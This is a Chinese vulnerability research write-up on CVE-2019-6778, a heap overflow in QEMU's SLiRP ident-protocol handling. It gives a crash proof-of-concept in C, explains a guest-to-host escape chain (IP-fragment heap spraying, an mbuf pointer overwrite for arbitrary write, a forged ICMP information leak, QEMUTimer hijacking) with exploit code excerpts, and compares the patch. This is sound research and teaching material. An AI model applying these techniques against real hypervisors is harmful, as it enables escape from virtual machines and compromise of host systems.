作者:raycp
原文来自安全客:https://www.anquanke.com/post/id/197639
漏洞描述
qemu-kvm
默认使用的是-net nic -net user
的参数,提供了一种用户模式(user-mode)的网络模拟。使用用户模式的网络的客户机可以连通宿主机及外部的网络。用户模式网络是完全由QEMU自身实现的,不依赖于其他的工具(bridge-utils、dnsmasq、iptables等),而且不需要root用户权限。QEMU使用Slirp实现了一整套TCP/IP协议栈,并且使用这个协议栈实现了一套虚拟的NAT网络。SLiRP模块主要模拟了网络应用层协议,其中包括IP协议(v4和v6)、DHCP协议、ARP协议等。
cve-2019-6778这个漏洞存在于QEMU的网络模块SLiRP中。该模块中的tcp_emu()
函数对端口113(Identification protocol)的数据进行处理时,没有进行有效的数据验证,导致堆溢出。经过构造,可实现以QEMU进程权限执行任意代码。
漏洞复现
首先是安装环境,根据官方描述,漏洞版本是3.1.50
,但是我在git中没有找到这个版本,于是使用的是3.1.0
,使用下面的命令编译qemu。
git clone git://git.qemu-project.org/qemu.git cd qemu git checkout tags/v3.1.0 mkdir -p bin/debug/naive cd bin/debug/naive ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror make
编译出来qemu的路径为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64
,查看版本:
$ ./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 -version QEMU emulator version 3.1.0 (v3.1.0-dirty) Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers
接下来就是编译内核与文件系统,可以参考上一篇的cve-2015-5165
漏洞分析的文章。
因为漏洞需要在user模式下启动虚拟机,因此使用以下的命令启动qemu虚拟机:
$ cat launch.sh #!/bin/sh ./qemu-system-x86_64 \ -kernel ./bzImage \ -append "console=ttyS0 root=/dev/sda rw" \ -hda ./rootfs.img \ -enable-kvm -m 2G -nographic \ -L ./pc-bios -smp 1 \ -net user,hostfwd=tcp::2222-:22 -net nic
漏洞需要在user模式下启动虚拟机,启动虚拟机后虚拟机的ip为10.0.2.15
,宿主机ip为10.0.2.2
。虽然在主机中ifconfig
看不到该ip,但确实是可以连通的。可以从qemu虚拟机中ping主机,无法从主机ping虚拟机。
poc代码如下,将其编译好并拷贝至虚拟机中:
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int s, ret; struct sockaddr_in ip_addr; char buf[0x500]; s = socket(AF_INET, SOCK_STREAM, 0); ip_addr.sin_family = AF_INET; ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP ip_addr.sin_port = htons(113); // vulnerable port ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in)); memset(buf, 'A', 0x500); while (1) { write(s, buf, 0x500); } return 0; }
然后在宿主机中sudo nc -lvnp 113
端口,在虚拟机中运行poc,即可看到qemu虚拟机崩溃,成功复现漏洞。
漏洞分析
根据作者writeup,将断点下在tcp_emu
,可以看到调用栈如下:
? f 0 5583e153e5ae tcp_emu+28 f 1 5583e153aa5a tcp_input+3189 f 2 5583e1531765 ip_input+710 f 3 5583e1534cb6 slirp_input+412 f 4 5583e151ceea net_slirp_receive+83 f 5 5583e15128c4 nc_sendv_compat+254 f 6 5583e1512986 qemu_deliver_packet_iov+172 f 7 5583e151553f qemu_net_queue_deliver_iov+80 f 8 5583e15156ae qemu_net_queue_send_iov+134 f 9 5583e1512acb qemu_sendv_packet_async+289 f 10 5583e1512af8 qemu_sendv_packet+43
结合源码调试,该函数在slirp/tcp_subr.c
中:
int tcp_emu(struct socket *so, struct mbuf *m) { ... switch(so->so_emu) { int x, i; case EMU_IDENT: /* * Identification protocol as per rfc-1413 */ { ... struct sbuf *so_rcv = &so->so_rcv; memcpy(so_rcv->sb_wptr, m->m_data, m->m_len); so_rcv->sb_wptr += m->m_len; so_rcv->sb_rptr += m->m_len; m->m_data[m->m_len] = 0; /* NULL terminate */ if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) { if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) { ... so_rcv->sb_cc = snprintf(so_rcv->sb_data, so_rcv->sb_datalen, "%d,%d\r\n", n1, n2); so_rcv->sb_rptr = so_rcv->sb_data; so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc; } m_free(m); return 0; }
可以看到程序会先将m->data
中的数据拷贝至so_rcv->sb_wptr
。m
的定义为struct mbuf
,so_rcv
的定义为struct sbuf
。mbuf
是用来保存ip
传输层的数据,sbuf
结构体则保存tcp
网络层的数据,定义如下:
struct mbuf { /* XXX should union some of these! */ /* header at beginning of each mbuf: */ struct mbuf *m_next; /* Linked list of mbufs */ struct mbuf *m_prev; struct mbuf *m_nextpkt; /* Next packet in queue/record */ struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */ int m_flags; /* Misc flags */ int m_size; /* Size of mbuf, from m_dat or m_ext */ struct socket *m_so; caddr_t m_data; /* Current location of data */ int m_len; /* Amount of data in this mbuf, from m_data */ Slirp *slirp; bool resolution_requested; uint64_t expiration_date; char *m_ext; /* start of dynamic buffer area, must be last element */ char m_dat[]; }; struct sbuf { uint32_t sb_cc; /* actual chars in buffer */ uint32_t sb_datalen; /* Length of data */ char *sb_wptr; /* write pointer. points to where the next * bytes should be written in the sbuf */ char *sb_rptr; /* read pointer. points to where the next * byte should be read from the sbuf */ char *sb_data; /* Actual data */ };
结合结构体的分析知道了,程序将m->data
中的数据拷贝至so_rcv->sb_wptr
,但是由于字符串中没有\r
或\n
,导致没有将sb_cc
赋值,形成了buffer空间变小,而数值却没有变化的情形。
查看tcp_enu
的调用函数tcp_input
函数,代码在slirp/tcp_input.c
中:
else if (ti->ti_ack == tp->snd_una && tcpfrag_list_empty(tp) && ti->ti_len <= sbspace(&so->so_rcv)) { ... /* * Add data to socket buffer. */ if (so->so_emu) { if (tcp_emu(so,m)) sbappend(so, m);
ti
为tcpiphdr
结构体,其定义以及sbspace
定义如下:
struct tcpiphdr { struct mbuf_ptr ih_mbuf; /* backpointer to mbuf */ union { struct { struct in_addr ih_src; /* source internet address */ struct in_addr ih_dst; /* destination internet address */ uint8_t ih_x1; /* (unused) */ uint8_t ih_pr; /* protocol */ } ti_i4; struct { struct in6_addr ih_src; struct in6_addr ih_dst; uint8_t ih_x1; uint8_t ih_nh; } ti_i6; } ti; uint16_t ti_x0; uint16_t ti_len; /* protocol length */ struct tcphdr ti_t; /* tcp header */ }; #define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
可以看到当为EMU_IDENT
协议时,会不停的往so_rcv->sb_wptr
中拷贝数据,并将指针后移,但是却没有对长度进行增加。当不停的发送该协议数据时,会导致堆溢出。
下面动态调试进行进一步验证。
b /home/raycp/work/qemu_escape/qemu/slirp/tcp_subr.c:638`将断点下在`memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
第一次拷贝前so_rcv
数据以及m
数据为:
pwndbg> print *so_rcv $1 = { sb_cc = 0x0, sb_datalen = 0x2238, sb_wptr = 0x7f46001d4d30 "0\a", sb_rptr = 0x7f46001d4d30 "0\a", sb_data = 0x7f46001d4d30 "0\a" } pwndbg> print *m $2 = { m_next = 0x7f46001a6800, m_prev = 0x55dd677c6c78, m_nextpkt = 0x0, m_prevpkt = 0x0, m_flags = 0x4, m_size = 0x608, m_so = 0x7f46001b1630, m_data = 0x55dd67fd04b4 'A' <repeats 200 times>..., m_len = 0x500, slirp = 0x55dd677c6bd0, resolution_requested = 0x0, expiration_date = 0xffffffffffffffff, m_ext = 0x0, m_dat = 0x55dd67fd0460 "" }
拷贝结束,sb_wptr
等指针都往后移动了(sb_data
是大小为0x2240
的堆块),但是sb_cc
却没有变化:
pwndbg> print *so_rcv $3 = { sb_cc = 0x0, sb_datalen = 0x2238, sb_wptr = 0x7f46001d5230 "", sb_rptr = 0x7f46001d5230 "", sb_data = 0x7f46001d4d30 'A' <repeats 200 times>... } pwndbg> vmmap 0x7f46001d4d30 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7f4600000000 0x7f46007b1000 rw-p 7b1000 0 pwndbg> x/6gx 0x7f46001d4d30-0x10 0x7f46001d4d20: 0x0000000000000000 0x0000000000002245 0x7f46001d4d30: 0x4141414141414141 0x4141414141414141 0x7f46001d4d40: 0x4141414141414141 0x4141414141414141
多发送几次将会造成溢出,导致崩溃,漏洞分析结束。
漏洞利用
程序保护机制基本上全都开了:
pwndbg> checksec [*] '/home/raycp/work/qemu_escape/created/qemu-system-x86_64' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
要想实现任意代码执行,首先需要信息泄露得到程序基址等信息;然后需要利用堆溢出控制程序执行流程。整个漏洞利用包含四个部分需要进行解析:
- malloc原语。
- 任意地址写。
- 信息泄露。
- 控制程序执行流程。
malloc原语
因为漏洞是堆溢出,而qemu中堆的排布复杂,因此需要找到一个malloc
的方式,将堆内存清空,使得堆的申请都是从top chunk
中分配,这样堆的排布就是可控和预测的了。可以利用IP
分片在slirp
中的实现来构造malloc原语。
在TCP/IP分层中,数据链路层用MTU(Maximum Transmission Unit,最大传输单元)来限制所能传输的数据包大小。当发送的IP数据报的大小超过了MTU时,IP层就需要对数据进行分片,否则数据将无法发送成功。
IP数据报文格式如下所示,其中Flags
与Fragment Offset
字段用于满足这一需求:
- Zero (1 bit),为0,不使用。
- Do not fragment flag (1 bit),表示这个packet是否为分片的。
- More fragments following flag (1 bit),表示这是后续还有没有包,即此包是否为分片序列中的最后一
- Fragmentation offset (13 bits),表示此包数据在重组时的偏移。
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
去看ip切片在该模块中的相应实现,源码如下:
void ip_input(struct mbuf *m) { ... /* * If offset or IP_MF are set, must reassemble. * Otherwise, nothing need be done. * (We could look in the reassembly queue to see * if the packet was previously fragmented, * but it's not worth the time; just let them time out.) * * XXX This should fail, don't fragment yet */ if (ip->ip_off &~ IP_DF) { register struct ipq *fp; struct qlink *l; /* * Look for queue of fragments * of this datagram. */ for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link; l = l->next) { fp = container_of(l, struct ipq, ip_link); if (ip->ip_id == fp->ipq_id && ip->ip_src.s_addr == fp->ipq_src.s_addr && ip->ip_dst.s_addr == fp->ipq_dst.s_addr && ip->ip_p == fp->ipq_p) goto found; } fp = NULL; found: ip->ip_len -= hlen; if (ip->ip_off & IP_MF) ip->ip_tos |= 1; else ip->ip_tos &= ~1; ip->ip_off <<= 3; /* * If datagram marked as having more fragments * or if this is not the first fragment, * attempt reassembly; if it succeeds, proceed. */ if (ip->ip_tos & 1 || ip->ip_off) { ip = ip_reass(slirp, ip, fp); if (ip == NULL) ... } static struct ip * ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp) { ... /* * If first fragment to arrive, create a reassembly queue. */ if (fp == NULL) { struct mbuf *t = m_get(slirp) } ... } #define SLIRP_MSIZE\ (offsetof(struct mbuf, m_dat) + IF_MAXLINKHDR + TCPIPHDR_DELTA + IF_MTU) struct mbuf * m_get(Slirp *slirp) { register struct mbuf *m; int flags = 0; DEBUG_CALL("m_get"); if (slirp->m_freelist.qh_link == &slirp->m_freelist) { m = g_malloc(SLIRP_MSIZE); ... }
可以看到在ip_input
函数中,当ip->ip_off
没有IP_DF
标志位时(表示被切片),会在当前的链表中寻找之前是否已经存在相应数据包,如果没有找到则会将fp
置为null
,否则则为相应的数据包的链表。接着调用ip_reass
,当fp为null
时,表明它是相应数据流的第一个切片数据包,会调用m_get
函数为其分配一个struct mbuf
,大小size为SLIRP_MSIZE
(0x668),所以最终分配出来的堆块大小为0x670并将其一直挂在链表队列中。
pwndbg> print m $5 = (struct mbuf *) 0x55b61423f5e0 pwndbg> x/6gx 0x55b61423f5e0 0x55b61423f5e0: 0x00007f17d9bec190 0x00007f17d9bec190 0x55b61423f5f0: 0x000055b61423f5d0 0x000055b61423f5d0 0x55b61423f600: 0x0000000000000000 0x0000000000000000 pwndbg> x/6gx 0x55b61423f5e0-0x10 0x55b61423f5d0: 0x000b000b000b000b 0x0000000000000671 0x55b61423f5e0: 0x00007f17d9bec190 0x00007f17d9bec190 0x55b61423f5f0: 0x000055b61423f5d0 0x000055b61423f5d0
因此我们可以构造数据包,使其ip->ip_off
没有IP_DF
标志位,则可以申请出来0x670
大小的堆块,实现了malloc原语的构造。
任意地址写
可以利用堆溢出构造出任意地址写的功能,以为泄露地址与控制程序执行流服务。
任意地址写的构造主要是基于堆溢出,以及ip_reass
这个函数,关键代码如下:
void ip_input(struct mbuf *m) { ... /* * If offset or IP_MF are set, must reassemble. * Otherwise, nothing need be done. * (We could look in the reassembly queue to see * if the packet was previously fragmented, * but it's not worth the time; just let them time out.) * * XXX This should fail, don't fragment yet */ if (ip->ip_off &~ IP_DF) { register struct ipq *fp; struct qlink *l; /* * Look for queue of fragments * of this datagram. */ for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link; l = l->next) { fp = container_of(l, struct ipq, ip_link); if (ip->ip_id == fp->ipq_id && ip->ip_src.s_addr == fp->ipq_src.s_addr && ip->ip_dst.s_addr == fp->ipq_dst.s_addr && ip->ip_p == fp->ipq_p) goto found; } fp = NULL; found: ip->ip_len -= hlen; if (ip->ip_off & IP_MF) ip->ip_tos |= 1; else ip->ip_tos &= ~1; ip->ip_off <<= 3; /* * If datagram marked as having more fragments * or if this is not the first fragment, * attempt reassembly; if it succeeds, proceed. */ if (ip->ip_tos & 1 || ip->ip_off) { ip = ip_reass(slirp, ip, fp); if (ip == NULL) ... } static struct ip * ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp) { register struct mbuf *m = dtom(slirp, ip); register struct ipasfrag *q; int hlen = ip->ip_hl << 2; int i, next; ... /* * Reassembly is complete; concatenate fragments. */ q = fp->frag_link.next; m = dtom(slirp, q); q = (struct ipasfrag *) q->ipf_next; while (q != (struct ipasfrag*)&fp->frag_link) { struct mbuf *t = dtom(slirp, q); q = (struct ipasfrag *) q->ipf_next; m_cat(m, t); } } /* * Copy data from one mbuf to the end of * the other.. if result is too big for one mbuf, allocate * an M_EXT data segment */ void m_cat(struct mbuf *m, struct mbuf *n) { /* * If there's no room, realloc */ if (M_FREEROOM(m) < n->m_len) m_inc(m, m->m_len + n->m_len); memcpy(m->m_data+m->m_len, n->m_data, n->m_len); m->m_len += n->m_len; m_free(n); }
可以看到在ip_input
中,当数据包是最后一个切片数据包时(IP_MF不为1),会在ip_reass
函数中调用m_cat
将数据包组合起来。关键代码是memcpy(m->m_data+m->m_len, n->m_data, n->m_len)
,如果我们可以利用堆溢出覆盖m
结构体的m_data
,则就可以实现将可控的数据n->m_data
写到任意的地址m->m_data+m->m_len
处。
exp中任意地址写函数关键代码如下,首先利用malloc原语将清空堆,使得堆排布可控。接着利用与host主机113端口建立socket连接,申请出来可溢出的struct sbuf *so_rcv
结构体。紧接着在后面分配一个ip切片数据包mbuf
,其id为0xdead。由于堆的排布,该数据包是紧贴着so_rcv
的,可以利用堆溢出覆盖mbuf
中的m_data
指针。最后再次发送相同id(0xdead)并且MF标志为0的数据包,memcpy
拷贝至m_data
指针处时,实现任意地址写。
.... //使堆排布可控 for (i = 0; i < spray_times; ++i) { dbg_printf("spraying size 0x2000, id: %d\n", i); spray(0x2000, g_spray_ip_id + i); } ... //建立溢出buffer so_rcv s = socket(AF_INET, SOCK_STREAM, 0); ip_addr.sin_family = AF_INET; ip_addr.sin_addr.s_addr = inet_addr(host); ip_addr.sin_port = htons(113); // vulnerable port len = sizeof(struct sockaddr_in); ret = connect(s, (struct sockaddr *)&ip_addr, len); if (ret == -1) { perror("oops: client"); exit(1); } //建立mbuf pkt_info.ip_id = 0xdead; pkt_info.ip_off = 0; pkt_info.MF = 1; pkt_info.ip_p = 0xff; send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面 //溢出,将指针后移 /* let's overflow here! send(xxx) */ for (i = 0; i < 6; ++i) { write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by // null = =。。。。 usleep(20000); // 不知道为啥,貌似内核会合并包? // 如果合并了就会off by null... // 所以sleep一下 dbg_printf("send %d complete\n", i + 1); } write(s, payload, 1072); //伪造mbuf,覆盖m_data指针 // actual overflow here *payload64++ = 0; *payload64++ = 0x675; // chunk header *payload64++ = 0; // m_next *payload64++ = 0; // m_prev *payload64++ = 0; // m_nextpkt *payload64++ = 0; // m_prevpkt payload32 = (uint32_t *)payload64; *payload32++ = 0; // m_flags *payload32++ = 0x608; // m_size payload64 = (uint64_t *)payload32; *payload64++ = 0; // m_so payload = (uint8_t *)payload64; assert(addr_len <= 8); for (i = 0; i < addr_len; ++i) { *payload++ = (addr >> (i * 8)) & 0xff; // 覆盖m_data指针 } write(s, payload_start, (uint8_t *)payload - payload_start); // write(s, payload, 0x1000); ... //再次发送相同id且MF标志位为0的数据包,实现任意地址写 pkt_info.ip_id = 0xdead; pkt_info.ip_off = 0x300 + 24; pkt_info.MF = 0; pkt_info.ip_p = 0xff; send_ip_pkt(&pkt_info, write_data, write_data_len);
信息泄露
因为程序开启了PIE,所以还需要信息泄露才能进一步利用。
信息泄露主要是利用伪造ICMP响应请求包,得到响应应答包实现。主要的步骤如下:
- 溢出修改m_data的低位,在堆的前面写入一个伪造的ICMP包头。
- 发送一个ICMP请求,将MF bit置位(1)。
- 第二次溢出修改第二步的m_data的低位至伪造的包头地址。
- 发送MF bit为0的包结束ICMP请求。
- 得到ICMP应答包,实现信息泄露。
首先是利用堆溢出将m_data的低位覆盖(exp中是覆盖低3位为0x000b00),然后利用任意地址写将伪造的icmp包写入到该地址处;接着是发送一个ICMP响应请求包,并将其MF位置1,这样它会在队列中等待剩余的数据包;然后再利用溢出将第二步中的ICMP响应请求包的m_data的低位覆盖成伪造的ICMP请求包的位置,这样响应请求ICMP包的数据就变成了伪造的ICMP请求包;最后再发送一个MF为0的数据包结束该ICMP请求,将该伪造的请求发送出去;然后等待ICMP应答包,在应答包中可以得到程序地址以及堆地址,实现信息泄露。
程序执行流控制
有了程序地址和堆地址,再结合任意地址写,可以往任意地址写任何的数据,因此只要找到可以控制程序执行流的目标即可。结合作者给出的writeup与前面一系列文章,仍然可以利用QEMUTimer
搞事情。
在bss段有个全局数组main_loop_tlg
,它是QEMUTimerList的数组。我们可以在堆中伪造一个QEMUTimerList,将cb
指针覆盖成想要执行的函数,opaque
为参数地址。再将其地址覆盖到main_loop_tlg
中,等expire_time时间到,将会执行cb(opaque)
,成功控制程序执行流。
// util/qemu-timer.c struct QEMUTimerList { QEMUClock *clock; QemuMutex active_timers_lock; QEMUTimer *active_timers; QLIST_ENTRY(QEMUTimerList) list; QEMUTimerListNotifyCB *notify_cb; void *notify_opaque; /* lightweight method to mark the end of timerlist's running */ QemuEvent timers_done_ev; }; // include/qemu/timer.h struct QEMUTimer { int64_t expire_time; /* in nanoseconds */ QEMUTimerList *timer_list; QEMUTimerCB *cb; // 函数指针 void *opaque; // 参数 QEMUTimer *next; int attributes; int scale; };
需要指出的是,程序一般MTU都为1500,即大于1500的数据包会被分片。而exp中使用的数据包大小是0x2000(8192),所以需要使用命令ifconfig enp0s3 mtu 9000 up
,来将MTU设置的大一些,否则会报sendto() failed : Message too long
的错误。
补丁比对
在目录中执行git checkout tags/v3.1.1
,既可以拿到patch以后的代码:
case EMU_IDENT: /* * Identification protocol as per rfc-1413 */ { struct socket *tmpso; struct sockaddr_in addr; socklen_t addrlen = sizeof(struct sockaddr_in); struct sbuf *so_rcv = &so->so_rcv; if (m->m_len > so_rcv->sb_datalen //增加了检查 - (so_rcv->sb_wptr - so_rcv->sb_data)) { return 1; } memcpy(so_rcv->sb_wptr, m->m_data, m->m_len); so_rcv->sb_wptr += m->m_len; so_rcv->sb_rptr += m->m_len;
可以看到是在memcpy
之前简单粗暴增加了检查。
小结
感谢Kira师傅在复现过程中的指导,大佬还是强。
在我的环境中,由于信息泄露里面基址拿到的成功率不高,所以最终exp成功率也一般,但还是学到了很多。
到这里qemu pwn的学习就结束了,本来还打算复现CVE-2019-14378
,但是两个好像差不多,所以就没有分析了,后面还是学习linux内核漏洞吧。
相关文件与脚本链接
链接
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1360/